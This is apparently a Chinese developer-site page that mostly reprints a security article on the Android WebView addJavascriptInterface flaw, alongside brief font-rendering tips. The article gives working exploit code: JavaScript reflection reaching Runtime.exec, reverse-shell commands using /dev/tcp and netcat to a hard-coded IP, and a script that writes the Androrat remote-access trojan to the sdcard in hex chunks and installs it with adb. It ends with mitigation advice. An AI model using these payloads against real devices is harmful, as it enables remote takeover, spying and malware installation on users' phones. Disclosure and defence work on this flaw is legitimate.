精华内容
下载资源
问答
  • 安卓webview显示网页字体模糊的问题

    千次阅读 2018-08-10 17:08:10
    问题 先看下如下代码 < div id = 'A' > 绝对定位区域 div ...但是安卓Mobile的webview中,一旦满足以下条件,A元素的字体将会变得模糊。...在安卓webview下将box-shadow的blur值设置为奇数

    问题

    先看下如下代码

    <div id='A'>绝对定位区域</div>
    <div id='B'>内容正文区域</div>
    #A{
      position: absolute;
      left: 0;
      right: 0;
      box-shadow: 0 0 6px 0 rgba(0,0,0,0.10);
    }

    上面的代码在PC和Mobile的浏览器中文字的显示都是正常的。
    但是安卓Mobile的webview中,一旦满足以下条件,A元素的字体将会变得模糊。

    • A元素为绝对(absolute)或固定定位(fixed)元素
    • A元素有设置box-shadow属性,且blur值为偶数
    • B元素的内容过多使得浏览器产生了竖向的滚动条

    解决方案

    大多数情况下,B元素的内容多少是无法控制的。同时也无法避免的要使用到绝对定位的元素。所以只能采用下列方法解决:

    在安卓webview下将box-shadow的blur值设置为奇数

    展开全文
  • rem布局在安卓webview中页面错乱

    千次阅读 2018-04-03 14:58:44
    复现操作:将安卓的系统字体调离标准大小,导致基础值出现问题。解决办法:客户端固定webview字体大小。 在每个webview配置webview.getSettings().setTextZoom(100)就可以了...

    复现操作:将安卓的系统字体调离标准大小,导致基础值出现问题。
    解决办法:客户端固定webview字体大小。
                        在每个webview配置webview.getSettings().setTextZoom(100)就可以了

    展开全文
  • 安卓应用存在安全漏洞,浏览网站打开链接即可中招。目前有白帽子提交漏洞表明目前安卓平台上的应用普遍存在一个安全漏洞,用户打开一个链接就可导致远程安装...在程序中装载webView控件,可以设置属性(颜色,字体等...

    安卓应用存在安全漏洞,浏览网站打开链接即可中招。目前有白帽子提交漏洞表明目前安卓平台上的应用普遍存在一个安全漏洞,用户打开一个链接就可导致远程安装恶意应用甚至完全控制用户手机,目前微信,手机QQ,QVOD以及各大手机浏览器均中招

    0x00 背景


    在android的sdk中封装了webView控件。这个控件主要用开控制的网页浏览。在程序中装载webView控件,可以设置属性(颜色,字体等)。类似PC下directUI的功能。在webView 下有一个非常特殊的接口函数addJavascriptInterface。能实现本地java和js的交互。利用addJavascriptInterface这个接口函数可实现穿透webkit控制android 本机。

     

    0x01 检测利用


    一般使用html 来设计应用页面的几乎不可避免的使用到addJavascriptInterface,包含不限于android浏览器。

    在android 代码程序一般是这样使用:

    1
    2
    3
    settings.setJavaScriptEnabled(true);
    settings.setJavaScriptCanOpenWindowsAutomatically(true);
    mWebView.addJavascriptInterface(new JSInvokeClass(), "js2java");

    这里可以用

    apk->zip->dex->dex2jar->jdgui->java
    

    代码来查找。

    但建议用apktool 反编译smali(毕竟不是所有apk都能反编译成java代码)

    在smali代码中 则是类似下列的代码:

    const-string v0, " js2java "
    invoke-virtual {p1, v1, v0},Lcom/tiantianmini/android/browser/module/ac;->addJavascriptInterface(Ljava/lang/Object;Ljava/lang/String;)V
    

    当检测到存在上述代码时,可以进行进一步验证利用:

    在11年,已经有人利用addJavascriptInterface进行文件读写,并放出简单的poc,到12年出现了简单的执行代码的exp。利用的是反射回调java类的内置静态变量。如下列的利用代码;

    <script>
    function execute(cmdArgs)
    {
        return js2java.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
    }
    …
    </script>   
    

    利用java的exec执行linux的shell命令。

    0x02 远程获取shell


    套用yuange的一句话:Poc远远小于exp的价值。

    利用addJavascriptInterface实现shell.

    Android内部的armlinux 是没有busybox 的,一些常规弹shell的方法被限制。

    使用了java的反弹shell方法

    //execute(["/system/bin/sh","-c","exec 5<>/dev/tcp/192.168.1.9/8088;cat <&5 | while read line; do $line 2>&5 >&5; done"]);
    

    在Nexus One 4.3的android虚拟机 并未成功弹出shell.

    后发现android中可执行 nc命令 (阉割版的不带-e的nc)

    这里用了nc的另外一种弹shell的方法完成

    Exp 内容:

    1
    2
    3
    4
    5
    6
    7
    8
    <script>
    function execute(cmdArgs)
    {
    return XXX.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
    }
    execute(["/system/bin/sh","-c","nc 192.168.1.9 8088|/system/bin/sh|nc 192.168.1.9 9999"]);
    alert("ok3");
    </script>

    // 注 xxx 保护隐私用xx代指。

    效果如下

    enter image description here

    当然可以用远程IP地址。

    0x03 远程挂马


    毕竟是android环境,shell使用不是很方便。类似xsser肯定不满足于此。

    再升华下,实现网页挂马。

    Android 4.1已经加入ASLR技术,堆喷射之类不再有效。UAF要针对android的内核版本。利用自身特性的漏洞是目前比较靠谱的方法。

    这里以androrat远控木马为例。

    实现网页挂马

    大部分浏览器已经对下载文件进行保存提示。这里需要把andrat.apk写到挂马网页之中。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <script>
    function execute(cmdArgs)
    {
    return xxx.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
    }
     
    var armBinary = "\x50\x4B\x03\x04\x14\x00\x08\x00\x08\x00\x51\x8F\xCA\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x13\x00\x04\x00\x72\x65\x73\x2F\x6C\x61\x79\x6F\x75\x74\x2F\x6D\x61\x69\x6E\x2E\x78\x6D\x6C\xFE\xCA\x00\x00\xAD\x52\x31\x6F\xD3\x40\x18\xFD\x2E\x76\xAE\x86\xC4\x69\x5A\x3A\x54\xA2\x12\xA9\xC4\x80\x22\x61\xE3\xAA\x42\x4D\xC7\x22\x86\x4A\x91\xA8\x14\xC4\x0A\x56\x7C\xC2\x27\x68\x1C\x39\x57\x0A\x53\x11\x3B\x63\x37\x06\xFE\x01\x33\x1B\x43\x17\x36\x56\xFE\x07\xAC\x6D\x9F\xCB\x1D\x3D\x
    ……
    var patharm = "/data/app/Androrat.apk";
    var a=execute(["/system/bin/sh","-c","echo -n +armBinary+ > " + patharm]);
    execute(["chmod"," 755 ","/data/app/Androrat.apk"]);

    这样存在几个问题:

    andrat.apk的 hex value大约300k,浏览器或者java的exec可能对传入参数大小有限制,(测试的浏览器有限制无法执行)

    /data/app/ 目录存在权限问题,需要root,chmod 也是同理。

    Android这种静默安装要么是有root或者系统签名的install权限,要么是做成预装软件的样子并且重启。或者是2.2 版本左右可以 通过调用隐藏api安装。

    经过进行fuzz实验,完成了挂马功能:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    <script>
    function execute(cmdArgs)
    {
    return xxx.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
    }
     
    var armBinary1 = "\x50\x4B\x03\x04\x14\x00\x08\x00\x08\x00\x51\x8F\xCA\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x13\x00\x04\x00\x72\x65\x73\x2F\x6C\x61\x79\x6F\x75\x74\x2F\x6D\x61\x69\x6E\x2E\x78\x6D\x6C\xFE\xCA\x00\x00\xAD\x52\x31\x6F\xD3\x40\x18\xFD\x2E\x76\xAE\x86\xC4\x69\x5A\x3A\x54\xA2\x12\xA9\xC4
     
    var armBinary2="\x1B\xB0\x65\x0A\xAD\x23\xC2\x30\x64\xDF\xEE\xA1\x0D\xA4\xE8\x3F\x61\x80\xEE\xBC\xE1\xE7\x7B\x4A\x25\x6F\x8B\x36\x71\xC3\x80\x81\x58\xDB\xC9\x8F\x53\x9F\xEE\x8A\x45\xAF\x23\x54\x4A\xCF\x2B\x52\xF2\x33\x84\xBA\x82\x36\xC4\x0D\x08\xAF\xC2\x61\x8E\xD8\x7B\x0B\xFC\x88\x4A\x25\x24\x8C\x22\xFA\x76\x44\x78\x5E\x99\x62\x30\x44\x8D\xDB\x74\x94\
     
    var armBinary3=…
    var armBinary4=…
    ……
    var patharm = "/mnt/sdcard/Androrat.apk";
    var a=execute(["/system/bin/sh","-c","echo -n +armBinary1+ > " + patharm]);
    //alert(a);
    execute(["/system/bin/sh","-c","echo -n +armBinary2+ >> " + patharm]);
    execute(["/system/bin/sh","-c","echo  -n +armBinary3+ >> " + patharm]);
    execute(["/system/bin/sh","-c","echo -n +armBinary4+ >> " + patharm]);
    execute(["/system/bin/sh","-c","adb install /mnt/sdcard/Androrat.apk"]);
    alert("over !!!");
    </script>

    将androrat.apk拆分。

    利用echo写入到sdcard中(此目录可读可写 不可执行)。

    利用自身带的adb进行安装(安装各种xx手机助手的不在少数吧)。

    enter image description here

    Androrat 成功安装,这里使用了androrat的debug=true模式。

    enter image description here

    成功连接到控制端。

    0x04 修复


    1、Android 4.2 (api17)已经开始采用新的接口函数【java中应该叫方法:) 】,@JavascriptInterface  代替addjavascriptInterface, 有些android 2.3不再升级,浏览器需要兼容。

    2、在使用js2java的bridge时候,需要对每个传入的参数进行验证,屏蔽攻击代码。

    3、控制相关权限或者尽可能不要使用js2java的bridge。

    Link:
    http://developer.android.com/reference/android/webkit/WebView.html
    http://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface(java.lang.Object, java.lang.String)
    http://www.cis.syr.edu/~wedu/Research/paper/webview_acsac2011.pdf
    http://50.56.33.56/blog/?p=314

    转载于:https://www.cnblogs.com/security4399/p/3304193.html

    展开全文
  • 在程序中装载webView控件,可以设置属性(颜色,字体等)。类似PC下directUI的功能。在webView 下有一个非常特殊的接口函数addJavascriptInterface。能实现本地java和js的交互。利用addJavascriptInterface这个接口...
    0×00 背景
    在android的sdk中封装了webView控件。这个控件主要用开控制的网页浏览。在程序中装载webView控件,可以设置属性(颜色,字体等)。类似PC下directUI的功能。在webView
    下有一个非常特殊的接口函数addJavascriptInterface。能实现本地java和js的交互。利用addJavascriptInterface这个接口函数可实现穿透webkit控制android
    本机。
    0×01 检测利用
    一般使用html 来设计应用页面的几乎不可避免的使用到addJavascriptInterface,包含不限于android浏览器。
    在android 代码程序一般是这样使用:
    settings.setJavaScriptEnabled(true); 
    settings.setJavaScriptCanOpenWindowsAutomatically(true); 
    mWebView.addJavascriptInterface(new JSInvokeClass(), "js2java");
    这里可以用
    apk->zip->dex->dex2jar->jdgui->java
    代码来查找。
    但建议用apktool 反编译smali(毕竟不是所有apk都能反编译成java代码)
    在smali代码中 则是类似下列的代码:
    const-string v0, " js2java "
    invoke-virtual {p1, v1, v0},Lcom/tiantianmini/android/browser/module/ac;->addJavascriptInterface(Ljava/lang/Object;Ljava/lang/String;)V
    当检测到存在上述代码时,可以进行进一步验证利用:
    在11年,已经有人利用addJavascriptInterface进行文件读写,并放出简单的poc,到12年出现了简单的执行代码的exp。利用的是反射回调java类的内置静态变量。如下列的利用代码;
    <script>
    function execute(cmdArgs)
    {
        return js2java.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
    }

    </script>   
    利用java的exec执行linux的shell命令。
    0×02 远程获取shell
    套用yuange的一句话:Poc远远小于exp的价值。
    利用addJavascriptInterface实现shell.
    Android内部的armlinux 是没有busybox 的,一些常规弹shell的方法被限制。
    使用了java的反弹shell方法
    //execute(["/system/bin/sh","-c","exec 5<>/dev/tcp/192.168.1.9/8088;cat <&5 | while read line; do \$line 2>&5 >&5; done"]);
    在Nexus One 4.3的android虚拟机 并未成功弹出shell.
    后发现android中可执行 nc命令 (阉割版的不带-e的nc)
    这里用了nc的另外一种弹shell的方法完成
    Exp 内容:
    <script> 
    function execute(cmdArgs) 

    return XXX.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); 

    execute(["/system/bin/sh","-c","nc 192.168.1.9 8088|/system/bin/sh|nc 192.168.1.9 9999"]); 
    alert("ok3"); 
    </script>
    // 注 xxx 保护隐私用xx代指。
    效果如下
    http://wydrops-wordpress.stor.sinaapp.com/uploads/2013/09/a1.png

    当然可以用远程IP地址。
    0×03 远程挂马
    毕竟是android环境,shell使用不是很方便。类似xsser肯定不满足于此。
    再升华下,实现网页挂马。
    Android 4.1已经加入ASLR技术,堆喷射之类不再有效。UAF要针对android的内核版本。利用自身特性的漏洞是目前比较靠谱的方法。
    这里以androrat远控木马为例。
    实现网页挂马
    大部分浏览器已经对下载文件进行保存提示。这里需要把andrat.apk写到挂马网页之中。
    <script> 
    function execute(cmdArgs) 

    return xxx.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); 
    }  
      
    var armBinary = "\\x50\\x4B\\x03\\x04\\x14\\x00\\x08\\x00\\x08\\x00\\x51\\x8F\\xCA\\x40\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x13\\x00\\x04\\x00\\x72\\x65\\x73\\x2F\\x6C\\x61\\x79\\x6F\\x75\\x74\\x2F\\x6D\\x61\\x69\\x6E\\x2E\\x78\\x6D\\x6C\\xFE\\xCA\\x00\\x00\\xAD\\x52\\x31\\x6F\\xD3\\x40\\x18\\xFD\\x2E\\x76\\xAE\\x86\\xC4\\x69\\x5A\\x3A\\x54\\xA2\\x12\\xA9\\xC4\\x80\\x22\\x61\\xE3\\xAA\\x42\\x4D\\xC7\\x22\\x86\\x4A\\x91\\xA8\\x14\\xC4\\x0A\\x56\\x7C\\xC2\\x27\\x68\\x1C\\x39\\x57\\x0A\\x53\\x11\\x3B\\x63\\x37\\x06\\xFE\\x01\\x33\\x1B\\x43\\x17\\x36\\x56\\xFE\\x07\\xAC\\x6D\\x9F\\xCB\\x1D\\x3D\\x 
    …… 
    var patharm = "/data/app/Androrat.apk"; 
    var a=execute(["/system/bin/sh","-c","echo -n '"+armBinary+"' > " + patharm]); 
    execute(["chmod"," 755 ","/data/app/Androrat.apk"]);
    这样存在几个问题:
    andrat.apk的 hex value大约300k,浏览器或者java的exec可能对传入参数大小有限制,(测试的浏览器有限制无法执行)
    /data/app/ 目录存在权限问题,需要root,chmod 也是同理。
    Android这种静默安装要么是有root或者系统签名的install权限,要么是做成预装软件的样子并且重启。或者是2.2 版本左右可以
    通过调用隐藏api安装。
    经过进行fuzz实验,完成了挂马功能:
    <script> 
    function execute(cmdArgs) 

    return xxx.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); 
    }  
      
    var armBinary1 = "\\x50\\x4B\\x03\\x04\\x14\\x00\\x08\\x00\\x08\\x00\\x51\\x8F\\xCA\\x40\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x13\\x00\\x04\\x00\\x72\\x65\\x73\\x2F\\x6C\\x61\\x79\\x6F\\x75\\x74\\x2F\\x6D\\x61\\x69\\x6E\\x2E\\x78\\x6D\\x6C\\xFE\\xCA\\x00\\x00\\xAD\\x52\\x31\\x6F\\xD3\\x40\\x18\\xFD\\x2E\\x76\\xAE\\x86\\xC4\\x69\\x5A\\x3A\\x54\\xA2\\x12\\xA9\\xC4\ 
      
    var armBinary2="\\x1B\\xB0\\x65\\x0A\\xAD\\x23\\xC2\\x30\\x64\\xDF\\xEE\\xA1\\x0D\\xA4\\xE8\\x3F\\x61\\x80\\xEE\\xBC\\xE1\\xE7\\x7B\\x4A\\x25\\x6F\\x8B\\x36\\x71\\xC3\\x80\\x81\\x58\\xDB\\xC9\\x8F\\x53\\x9F\\xEE\\x8A\\x45\\xAF\\x23\\x54\\x4A\\xCF\\x2B\\x52\\xF2\\x33\\x84\\xBA\\x82\\x36\\xC4\\x0D\\x08\\xAF\\xC2\\x61\\x8E\\xD8\\x7B\\x0B\\xFC\\x88\\x4A\\x25\\x24\\x8C\\x22\\xFA\\x76\\x44\\x78\\x5E\\x99\\x62\\x30\\x44\\x8D\\xDB\\x74\\x94\\ 
      
    var armBinary3=… 
    var armBinary4=… 
    …… 
    var patharm = "/mnt/sdcard/Androrat.apk"; 
    var a=execute(["/system/bin/sh","-c","echo -n '"+armBinary1+"' > " + patharm]); 
    //alert(a); 
    execute(["/system/bin/sh","-c","echo -n '"+armBinary2+"' >> " + patharm]); 
    execute(["/system/bin/sh","-c","echo  -n '"+armBinary3+"' >> " + patharm]); 
    execute(["/system/bin/sh","-c","echo -n '"+armBinary4+"' >> " + patharm]); 
    execute(["/system/bin/sh","-c","adb install /mnt/sdcard/Androrat.apk"]); 
    alert("over !!!"); 
    </script>
    将androrat.apk拆分。
    利用echo写入到sdcard中(此目录可读可写 不可执行)。
    利用自身带的adb进行安装(安装各种xx手机助手的不在少数吧)。
    http://wydrops-wordpress.stor.sinaapp.com/uploads/2013/09/a2.png

    Androrat 成功安装,这里使用了androrat的debug=true模式。
    http://wydrops-wordpress.stor.sinaapp.com/uploads/2013/09/a3.png
    成功连接到控制端。
    0×04 修复
    1、Android 4.2 (api17)已经开始采用新的接口函数【java中应该叫方法:)
    】,@JavascriptInterface 代替addjavascriptInterface, 有些android 2.3不再升级,浏览器需要兼容。
    2、在使用js2java的bridge时候,需要对每个传入的参数进行验证,屏蔽攻击代码。
    3、控制相关权限或者尽可能不要使用js2java的bridge。
    Link:
    http://developer.android.com/reference/android/webkit/WebView.html
    http://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface(java.lang.Object,
    java.lang.String)
    http://www.cis.syr.edu/~wedu/Research/paper/webview_acsac2011.pdf
    http://50.56.33.56/blog/?p=314
    作者:livers 
    摘自:http://drops.wooyun.org/papers/548 
    展开全文
  • 安卓APP中WebView页面中定义字体

    千次阅读 2016-08-29 18:00:29
    近期做了一个 手机APP连接无线打印机实现无线打印的项目,其中在APP端显示 页面中的字体和网页的字体是不一样的,这样的话打印的时候的效果很不好~ 如图:  而且无线打印总是要面临一个问题,当你连接...
  • 因为WebView将从React Native核心中删除,所以在最近的项目中将其替换为react-native-webview,其中遇到一个问题webView字体安卓显示正常IOS会被缩放,添加scalesPageToFit属性也不起作用, 解决方案: 在 html ...
  • 1.安卓端使用webView加载H5页面时由于手机的不同可能会出现以下情况: 在手机浏览器中打开H5页面显示正常,但是在app内的webView中嵌套了H5页面时会出现H5页面被放大。使得屏幕中放不下H5页面,可以左右滑动。 ....
  • 问题描述:用rem适配的H5页面在安卓的webview中,当line-height等于height时,有时会稍微偏上一些,不能垂直居中(ps:ios上没有这个问题) ...且当字体大小小于12px时,安卓webview中的浏览器为了避...
  • webview 由于用户的设置系统字体为特大,导致排版错乱 解决办法如下 webview设置属性 WebSettings set = webview.getSettings(); set.setTextZoom(100);
  • 安卓工程目录assets下面放了两个文件,分别是style.css和yzxy.ttf,yzxy.ttf是字体;style.css的代码如下: ``` @font-face { font-family: typeface; src: url("file:///android_asset/fzxy.ttf") } .agname {...
  • /*ios*/ body { -webkit-text-size-adjust: 100% !important; }  安卓 (function() { if (typeof WeixinJSBridge == "object" && typeof WeixinJSBridge.invoke ...
  • 安卓开发-处理WebView加载失败页面

    千次阅读 2017-07-13 11:37:52
    作者:vampire2777 字体:[增加 减小] 类型:转载 时间:2017-01-21 我要评论 这篇文章主要介绍了Android中替换WebView加载网页失败时的页面 我们用webView去请求一个网页链接的时候,如果请求网页...
  • 前言 ...但是字体大小要额外处理,并且部分安卓机型不支持calc。so,最后我还是决定采用阿里的rem。这也是踩坑的开始 内嵌rn webview。 我们为三方提供一个H5授权页,用于oAuth2 认证流程。在...
  • 解决思路:即使用户调整手机字体大小也不会影响app的字体 解决方法:安卓工程师那边加一行webview.getSettings().setTextZoom(100)就可以禁止缩放,按照百分百显示。 ...
  • webview html 问题汇总

    2017-03-01 15:15:05
    webview 显示字体太小,后台可能适配没做好,没办法安卓端自己写了判断。 //根据屏幕密度设置  DisplayMetrics dm = new DisplayMetrics();  getWindowManager().getDefaultDisplay().getMetrics(dm);  ...
  • webview.getSettings().setTextZoom(100); WebView加上这个设置后,WebView里的字体就不会随系统字体大小设置发生变化了.
  • WebView使用技巧和介绍

    2011-08-09 16:59:00
    本文来自:安卓航班网 在Android的所有控件中,WebView的功能是最强大的作为直接从android.webkit.Webview实现的类可以拥有浏览器所有的功能,Webview可以让开发... Webview中设置字体,可以使用 WebView.getSe...
  • rem布局在webview中页面错乱

    千次阅读 2017-09-14 00:38:45
    上一篇我分享了 rem布局加载闪烁问题,这个问题也是在rem布局经常遇到而且还比较好解决的问题。但是!注意,这里但是哈!...非也,其实是系统字体大小的问题,这类问题常见于安卓设备上,而且是内嵌在A
  • 安卓 webview字体大小在小于 12 像素的时候无法使用行高来垂直居中 ps:目前在微信等应用都存在该问题,而在最新的移动端 Chrome 浏览器上无该问题(截止本文编写时间,微信客户端的 chrome 版本为 57,chrome ...
  • 在ScrollView中的WebView加载Html代码

    千次阅读 2016-05-25 10:20:10
    商品的价格,标题,图片等信息用原生安卓控件展示,但商品描述要用Html代码展示,即安卓客户端要无条件支持显示商家在后台用html编辑的商品描述(有不同颜色的字体和图片超链接)。按常理WebView支持展示一个url链接...
  • 你有没有遇到过如下这种...非也,其实是系统字体大小的问题,这类问题常见于安卓设备上,而且是内嵌在APP里面的H5页面。 问题因素出现这个问题有几个因素: 1.用rem布局的H5页面 2.页面内嵌在APP的webview中 3....
  • webview.getSettings().setTextZoom(100); 转载于:https://www.cnblogs.com/ccxiaomaomi/p/5984017.html
  • 在浏览器和绝大部分手机上也正常,但在底层内核是IE的上面的都会有问题,查看代码,html的font-size设置正常,考虑是rem布局的问题,网上搜了搜发现原来是系统字体大小计算不一致的问题,这类问题常见于安卓设备上,...
  • 安卓webview会出现这个问题,因为webview是手机内置浏览器的sdk封装出来的组件,因此会受手机系统的影响,但是ios的webview不会出现这个问题。 解决方法: 1、同时经过测试发现我们用document.documentElement....
  • H5实战

    2019-02-18 18:07:47
    1, rem布局在安卓webview中页面错乱 复现操作:将安卓的系统字体调离标准大小,导致基础值出现问题。 解决办法:客户端固定webview字体大小。  在每个webview配置webview.getSettings().setTextZoom(100)就可以...

空空如也

空空如也

1 2 3 4
收藏数 61
精华内容 24
关键字:

安卓webview字体